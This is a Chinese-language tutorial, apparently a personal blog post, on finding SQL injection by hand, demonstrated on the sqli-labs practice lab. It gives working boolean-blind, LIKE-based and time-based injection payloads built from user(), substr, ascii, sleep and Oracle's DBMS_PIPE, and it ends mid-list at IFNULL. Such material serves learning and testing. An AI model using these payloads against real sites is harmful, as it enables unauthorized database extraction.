前言
手工测试的时候核心就是判断我们插入的特殊语句是否被执行了,例如插入单引号、if、延时语句等等不同的字符来观察页面回显。下面主要介绍一下我个人的手工挖掘测试思路
测试思路
正常来说每个参数我都会插入单引号、双引号、括号去观察页面回显,如果一点变化没有基本就没sql注入了,如果没过滤肯定会有异常,有过滤会显示拦截页面,就可以尝试能不能绕过
下面就是直接有报错信息回显,然后就是判断有没有回显位,这里先不考虑其他的,主要介绍布尔盲注的测试思路,布尔盲注注不出来其他不太可能注出来
盲注
最基础的布尔盲注
这里先说注user(),因为注user()不需要考虑太多,注表的话就需要考虑数据库类型了
假设一个最普通的注入是单引号闭合的,假如注释符不能用,我们还需要加个or去闭合后面的单引号,我们的注入思路应为
id=1'and 1=1 or 'a'='b 此时语句应为正常
id=1'and 1=2 or 'a'='b 此时语句应为不正常
这里and的优先级比or高,中间1=1为true则返回true,否则返回false
id=-1'or 1=2 or 'a'='b 将前面改为-1然后用or也是可以的
因为测试过程中网站返回的错误页面是各种各样的
我们只需要确定1=1为一种,其他情况均和1=1返回的不同即可
这里拿sql-lib演示一下,1=1返回为正常
1=2则返回的则不同,可以确定存在sql注入
下面开始注user,最基本的语句应为
ascii(substr(user(),1,1)) 返回的是从第一位开始截取1位字符的ascii码
id=1'and 1=ascii(substr(user(),1,1)) or 'a'='b
我们遍历and后面这个1,只有相等时才会正常,就会有一条数据返回的长度不一样
这就说明user()的第一位的ascii码为114,也就是r
我们遍历中间的1就可以得到后续的了,第二位ascii码为111,也就是o
当我们理解了上面的原理就好说了,然后基于上面的思路去拓展
例如当我们截取函数好多都被过滤的时候就可以使用like去注入
用户名是r开头,匹配不到就会返回fasle,只有第一位是r才会返回true
id=1'and user() like 'a%' or 'a'='b % 表示匹配所有
id=1'and user() like 'a_' or 'a'='b _ 表示匹配一个
没有匹配到返回为false
直接跑第一位,这里是因为mysql大小写不敏感
注第二位,前面加个r直接继续跑就行
时间盲注
时间盲注就要用到逻辑判断函数了,不过能用布尔就用布尔,时间盲注的话效率太低了
if(1=2,1,sleep(4)) 1=1正常,不等则延时4秒
orcale中没有sleep,可以用下面这个
DBMS_PIPE.RECEIVE_MESSAGE('a',4)='a' 延迟4秒
只有相等才不会延时
id=1'and if(114=ascii(substr(user(),1,1)),1,sleep(4)) or 'a'='b
不用if的话可以这样的思路
id=1'and sleep(5*(1)) or 'a'='b 延时5秒
id=1'and sleep(5*(0)) or 'a'='b 不会延时
注user,只有相等时才会延时
id=1'and sleep(5*(ascii(substr(user(),1,1))=114)) or 'a'='b
逻辑判断函数
下面是最原始的函数用法,后续可以根据实际情况去改变返回的东西
如果1=1则返回1,否则返回2
case when 1=1 then 1 else 2 end 1=1返回1,否则返回2
if(1=1,1,2) 相等返回1,不等返回2
IFNULL